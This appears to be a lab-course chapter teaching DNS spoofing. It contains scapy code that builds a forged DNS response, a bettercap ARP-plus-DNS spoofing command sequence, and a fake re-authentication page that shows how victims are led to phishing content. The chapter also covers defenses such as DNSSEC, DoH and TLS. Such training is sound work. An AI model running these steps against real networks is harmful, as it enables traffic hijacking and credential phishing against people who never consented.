Step 159. DNS Spoofing and bettercap — Swapping Out the Phone Book

Step 159. DNS Spoofing and bettercap — Swapping Out the Phone Book

Level 2 — Network Attacks and MITM | Difficulty ★★★★☆ | Estimated time: 4 hours

Prerequisites: Steps 156~157 (ARP spoofing) and Step 158 (packet sniffing advanced) complete. Prior experience assembling packets with scapy helps.

  • What you need: Kali (bettercap), MS2 (victim role), the same Host-only network. The principle exercises need only Python + scapy.
  • Caution: ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. DNS spoofing is an attack that sends victims to fake sites — the moment you try it outside the lab, it becomes phishing infrastructure. This chapter’s DNS packet structures and hosts file were measured on 2026-09-09 on WSL Linux (scapy 2.7.0); the bettercap console screens are Screen examples from a Kali lab.

In Steps 156~157, you fooled ARP to make traffic flow through your device. But sometimes intercepting packets isn’t enough — when you want to change where the victim goes in the first place. The key to that is DNS. Fool DNS, the internet’s phone book, and the victim types the correct domain into the address bar yet arrives at the attacker’s server. Today we assemble that principle packet by packet, then handle bettercap — the tool that executes this attack with a few button presses — in the lab.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain the structure of DNS query/response packets (question record and answer record)
  • Prove by packet assembly that DNS spoofing is "a race of false responses"
  • Explain the resolution order in which the hosts file is read before DNS
  • Execute DNS spoofing inside the lab with bettercap and lead a victim to a fake page
  • Explain which hole each defense technology (DNSSEC, DoH) plugs

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Kali terminal + Python (scapy) + MS2 (victim)
Today’s commands/tools bettercap -iface eth0, net.probe on, arp.spoof on, set dns.spoof.domains, dns.spoof on, scapy’s DNS/DNSQR/DNSRR
Concepts needed DNS query/response, transaction ID, TTL, DNS cache, hosts file, ARP spoofing (Step 156)
Today’s artifact 1 forged DNS response packet + a successful lab-spoofing record + a defense-technology summary

2-1. DNS — The Internet’s Phone Book

People remember names like example.com, but networks communicate by IP addresses like 93.184.216.34. What converts names to addresses is DNS (Domain Name System). When you type a domain into a browser, your computer first sends a query to a DNS server (usually the router or ISP server) asking "what’s this name’s address?", receives a response, and connects to that address.

This structure’s weakness lies in the era DNS was born in. DNS, designed in the 1980s, had no device to check "is the responder really the phone-book administrator?" So if a false response arrives before the real one, the computer believes the false one.

2-2. DNS Spoofing — The Race of False Responses

DNS spoofing is the attack that wins this race. In a MITM state (Step 156’s ARP spoofing), you can see the victim’s DNS queries by intercepting them — so the attacker knows the query’s contents. Then, faster than the real DNS server, they send a false response: "that domain is at my IP." Since the victim adopts the answer that arrives first, all subsequent connections head to the attacker’s server.

Two success conditions. ① You must be able to see the victim’s query (MITM or the same network). ② The response’s transaction ID (a 16-bit number pairing queries with responses) must match the query’s. In a MITM state, you see the query and copy the ID as-is — both conditions met.

2-3. The hosts File — A Note Read Before DNS

In fact, before asking a DNS server, the computer checks one local file first. Linux’s /etc/hosts, Windows’ C:\Windows\System32\drivers\etc\hosts. If a domain IP line is written here, it uses that address without making a DNS query at all. The resolution order is hosts file → DNS cache → DNS server query.

This order is a double-edged sword. Administrators use the hosts file to point development domains at localhost (legitimate use), but malware writes bank.com → attacker IP in the same file for the same effect as DNS spoofing. That’s why write permission to the hosts file is restricted to administrators.

2-4. bettercap — The Swiss Army Knife of MITM

bettercap is a MITM framework for handling ARP spoofing, packet sniffing, and DNS spoofing in one console. What you did manually in Steps 156~157 (launching two arpspoof instances, running Wireshark separately) can be switched on and off as modules. Today we turn on three modules in order: net.probe (host discovery), arp.spoof (traffic rerouting), dns.spoof (DNS forgery).


3. Follow Along

3-1. Reading the hosts File — DNS’s First Gate

First, let’s look at gate #1 of the resolution order ourselves.

Input (Linux/WSL):

cat /etc/hosts

Output (measured 2026-09-09, WSL Ubuntu):

127.0.0.1	localhost
127.0.1.1	XI3492.localdomain	XI3492

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

How to read it: 127.0.0.1 localhost — a fixed mapping saying "the name localhost is 127.0.0.1." Because of this line, ping localhost goes straight to 127.0.0.1 without asking a DNS server. On Windows, opening C:\Windows\System32\drivers\etc\hosts in Notepad (as administrator) shows the same format. Add a line here and that domain’s resolution changes permanently — if DNS spoofing is "an attack that deceives once on the network," hosts tampering is "a deception that resides on that computer."

3-2. Assembling a Normal DNS Query with scapy

Now let’s look inside the packet. Assemble a DNS query packet with scapy — assemble only, never send. The transmission practice is handled later by bettercap inside the lab.

Input:

from scapy.all import IP, UDP, DNS, DNSQR

q = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com", qtype="A"))
q[DNS].show()

Output (measured 2026-09-09, scapy 2.7.0):

###[ DNS ]###
  id        = 0
  qr        = 0
  opcode    = QUERY
  ...
  rd        = 1
  rcode     = ok
  \qd        \
   |###[ DNS Question Record ]###
   |  qname     = b'example.com.'
   |  qtype     = A
   |  qclass    = IN

How to read it: remember just three fields. qr = 0 says "this is a query" (a response is 1); qd (Question Record) is one question — asking for the A record (IPv4 address) of example.com; id is this query’s ticket number. Real queries go out with a random id attached by the OS.

3-3. Assembling a Forged DNS Response with scapy — The Attack’s Core Material

The essence of spoofing is making "a false response that looks real." Assemble one to confirm which fields make it look genuine.

Input:

from scapy.all import IP, UDP, DNS, DNSQR, DNSRR

fake = IP(dst="192.168.0.50", src="8.8.8.8") / UDP(sport=53, dport=5353) / DNS(
    id=0x1234, qr=1, aa=1, rd=1,
    qd=DNSQR(qname="example.com", qtype="A"),
    an=DNSRR(rrname="example.com", type="A", ttl=300, rdata="10.0.0.99")
)
fake[DNS].show()
print("Assembled packet size:", len(fake), "bytes")

Output (measured 2026-09-09):

###[ DNS ]###
  id        = 4660
  qr        = 1
  aa        = 1
  ...
  \qd        \
   |###[ DNS Question Record ]###
   |  qname     = b'example.com.'
   |  qtype     = A
   |  qclass    = IN
  \an        \
   |###[ DNS Resource Record ]###
   |  rrname    = b'example.com.'
   |  type      = A
   |  ttl       = 300
   |  rdata     = 10.0.0.99
Assembled packet size: 84 bytes

How to read it: compare with 3-2. Four things changed. ① qr = 1 (declaring it’s a response), ② id = 4660 (0x1234 — copied verbatim from the victim’s query ticket; only if this matches does the victim accept it), ③ a false mapping in an (Answer Record) — example.com is 10.0.0.99, ④ ttl = 300 (an instruction to keep it in cache for 300 seconds — the longer, the longer the deception lasts). A mere 84 bytes is the whole of "swapping out the phone book."

Why: hand this packet to the victim (and have it arrive before the real response), and the victim remembers example.com as 10.0.0.99. The fact that the attack’s core is not "complex cryptanalysis" but "84 correctly formatted bytes" shows why DNS is inherently vulnerable.

3-4. Executing the Spoof in the Lab with bettercap

Now let’s see the actual attack flow in a Kali lab. The screens below are Screen examples (addresses and screens differ per environment).

Input (Kali):

sudo bettercap -iface eth0

Once the console is up, in order:

net.probe on
net.show
set arp.spoof.targets 192.168.56.101
arp.spoof on
set dns.spoof.domains example.com
set dns.spoof.address 192.168.56.102
dns.spoof on

Screen example:

[net.probe] probing 256 addresses on 192.168.56.0/24
[sys.log] [inf] dns.spoof example.com -> 192.168.56.102
[sys.log] [inf] dns.spoof sending spoofed DNS reply for example.com (->192.168.56.102) to 192.168.56.101

How to read it: module order is everything. net.probe (who’s out there) → arp.spoof (bring traffic to me) → dns.spoof (answer queries falsely). The last log line appearing means MS2 (192.168.56.101) asked for example.com, and bettercap intercepted it and sent a false response.

3-5. Serving a Fake Page and Confirming the Victim Is Led There

Serve a fake page at the address the false response points to (Kali, 192.168.56.102).

Input (a new terminal on Kali):

echo "<h1>Please re-authenticate your account</h1>" > index.html
sudo python3 -m http.server 80

Check: in the MS2 browser, visit http://example.com. If the page you just made appears, it’s a success. The address bar clearly says example.com, yet the content is the attacker’s — this scene is the very principle of phishing.

How to read it: note — had you visited https://example.com, the browser would have raised a certificate warning, because the attacker doesn’t hold example.com’s real certificate. You can fool the address but not the ID card — this is where you preview the wall TLS built in front of MITM. When the experiment ends, turn it off in bettercap with dns.spoof off, arp.spoof off, and flush MS2’s DNS cache.


4. Missions & Exercises

Mission — Spoofing Success and a Defense Summary

  1. Assemble 3-3’s forged response yourself with scapy, and annotate in comments what the three fields id, qr, an.rdata mean.
  2. Succeed at bettercap spoofing in the lab, and record the MS2 screen (address bar and page content).
  3. One failure experiment: with dns.spoof off, check whether MS2 still gets the fake page when it asks for example.com again, and write why.
  4. Make a table of how each of two defense technologies (DNSSEC, DoH) breaks which condition from 2-2.

Exercises

Exercise 1. Why is DNS spoofing called "a race of false responses"? Give the two conditions an attacker needs to win this race.

Exercise 2. What happens if the forged response’s transaction ID differs from the victim’s query ID? And why can a MITM attacker solve this problem easily?

Exercise 3. An attack that writes example.com 10.0.0.99 in the hosts file has the same effect as DNS spoofing. Explain the difference between the two in terms of detection and persistence.

Exercise 4. What advantage does a forged response with a very long TTL (e.g., 86400 seconds) give the attacker? Connect it to why the victim keeps suffering even after the spoofing ends.


5. Model Answers & Completion Criteria

Mission Model Answer

Example annotations for item 1: id — the ticket number pairing a query with its response; must be copied from the victim’s query to be accepted. qr — a discriminator: 0 for query, 1 for response. an.rdata — the address the response announces; the attacker server IP goes here.

Item 3: in most cases the fake page keeps appearing. Because the false response remains in MS2’s DNS cache (while the TTL is alive). Turning off spoofing doesn’t clear the cache, so you must flush it — ipconfig /flushdns on Windows, restart the cache daemon on Linux — before things return to normal.

Example table for item 4:

Defense The hole it plugs
DNSSEC Attaches a digital signature to responses to verify "is this the real phone-book administrator’s answer" — breaks the false-response condition itself
DoH/DoT Puts the DNS query itself inside encrypted HTTPS/TLS — breaks condition ① of "seeing" and intercepting the query in the middle

How to verify: ① did the sending spoofed DNS reply line appear in the bettercap log? ② did the fake page actually render on MS2? ③ did you personally confirm in the cache experiment that "the damage remains after the attack ends"? ④ is the defense table connected to "conditions ①/②"?

Exercise Answers

Answer 1. Because the real DNS server also sends a response, but the victim adopts whichever response arrives first. The needed conditions: ① know the victim’s query contents (especially the transaction ID) — peek via MITM or observe on the same network; ② respond faster than the real server — being on the same local network is physically advantageous.

Answer 2. The victim’s OS discards that response as "not an answer to my query." A MITM attacker can see the victim’s query packets directly, so they just copy the ID as-is — producing an exact response with no guessing (3-3’s id=0x1234 is that copy).

Answer 3. DNS spoofing leaves traces on the network (forged response packets), but once the attack ends, new queries return to normal, and the damage lasts only as long as the cache lifetime. Hosts tampering resides in a file inside that computer, so it persists across reboots — but it’s discovered immediately by checking that one file. From the attacker’s side, hosts lasts longer; from the defender’s side, hosts is easier to find.

Answer 4. TTL instructs the victim’s cache "how long to remember this answer." At 86400 seconds (24 hours), even if the attacker turns off the spoofing and walks away, the victim keeps connecting to the fake address for a day. The attack’s duration stretches from "the moment packets are sent" to "the moment the cache dies."

Completion Criteria Checklist

  • [ ] I can explain the field differences between DNS queries and responses (qr, qd, an)
  • [ ] I can explain the resolution order (hosts → cache → DNS server)
  • [ ] I can assemble a forged DNS response packet with scapy
  • [ ] I know why bettercap’s three modules go in the order net.probe → arp.spoof → dns.spoof
  • [ ] I succeeded in leading a victim to a fake page via spoofing in the lab
  • [ ] I confirmed that damage remains after the attack is off, because of the DNS cache
  • [ ] I can explain which hole DNSSEC and DoH each plug

6. Common Pitfalls & Fixes

Wall 1. "I turned on modules in bettercap but nothing happens"

Symptom: you got as far as dns.spoof on but the log stays quiet.
Cause: the module activation order is wrong. Turn on dns.spoof without arp.spoof and the victim’s queries don’t pass through your device — there’s no query to intercept at all.
Fix: keep the order net.probe onarp.spoof ondns.spoof on. Between steps, check with net.show that the victim appears in the list.

Wall 2. "I turned spoofing off but the fake page still shows"

Symptom: after dns.spoof off, example.com on MS2 still points to the fake one.
Cause: the false response remains in the victim’s DNS cache for its TTL.
Fix: on Windows, ipconfig /flushdns; on Linux, sudo systemd-resolve --flush-caches (or restart the cache daemon). Retesting with a fresh domain also works.

Wall 3. "I can’t open port 80"

Symptom: python3 -m http.server 80 raises PermissionError: [Errno 13] Permission denied.
Cause: ports 1024 and below require administrator privileges.
Fix: run sudo python3 -m http.server 80, or serve on port 8000 and have the victim visit example.com:8000 (simpler for practice).

Wall 4. "When I connect over HTTPS, a warning appears and the experiment gets weird"

Symptom: instead of the fake page, the browser shows "Your connection is not private."
Cause: not an error — defense working. The attacker cannot make example.com’s real certificate.
Fix: if the experiment’s purpose is confirming "DNS manipulation," test over HTTP. The HTTPS warning screen itself is an excellent observation — write it in your report as evidence for the conclusion "even if you fool DNS, TLS blocks it."

Wall 5. "qdcount shows as None in scapy show()"

Symptom: in 3-2’s output, qdcount = None appears.
Cause: scapy auto-computes counts at actual transmission/serialization time. Not an error.
Fix: serialize the packet with bytes(q) and the counts get filled. Understanding the field’s meaning (the question record is inside qd) is enough.


7. Summary

Today’s Concepts

Concept One-line explanation
DNS The internet phone book converting domain names to IP addresses
DNS spoofing An attack that swaps the mapping by sending a false response before the real one
Transaction ID A 16-bit ticket pairing queries with responses — must be copied when forging
TTL How long a response stays in cache — the longer, the longer the damage
hosts file A local mapping read before DNS — both legitimate override and a malware favorite
DNS cache A storehouse remembering received answers — the residue point of spoofing damage
bettercap A MITM tool handling ARP spoofing + sniffing + DNS spoofing in one console
DNSSEC / DoH Response signature verification / encrypting the query itself — defenses plugging different holes

Today’s Commands

Command What it does
cat /etc/hosts Checks local fixed mappings — the first gate of resolution
ipconfig /flushdns Flushes the Windows DNS cache
DNS(qd=DNSQR(...)) (scapy) Assembles a DNS query packet
DNS(qr=1, an=DNSRR(...)) (scapy) Assembles a forged response — the attack’s core material
sudo bettercap -iface eth0 Starts the MITM console
net.probe on / net.show Discovers network hosts / shows the list
arp.spoof on Reroutes the victim’s traffic through your device
set dns.spoof.domains domain + dns.spoof on Starts false DNS responses
sudo python3 -m http.server 80 Fake-page server (admin privileges needed)

An Instinct More Important Than Commands

What today’s practice showed is "don’t trust names." The victim typed example.com exactly, and that’s what the address bar showed — but the address the name pointed to had already been swapped. One correctly formatted 84-byte packet replaced the entire phone book.

At the same time, as you saw, HTTPS holds even in front of this attack — because you can fool the address but not forge the ID card (certificate). When an attack breaks one layer, defense waits at the next. Only someone who knows in their body why that phone book you fooled today can’t be fully trusted truly understands why the next defense layers — certificates, HSTS — exist.


Once every box is checked, Step 159 is complete. Click the checkbox in the sidebar to save your progress.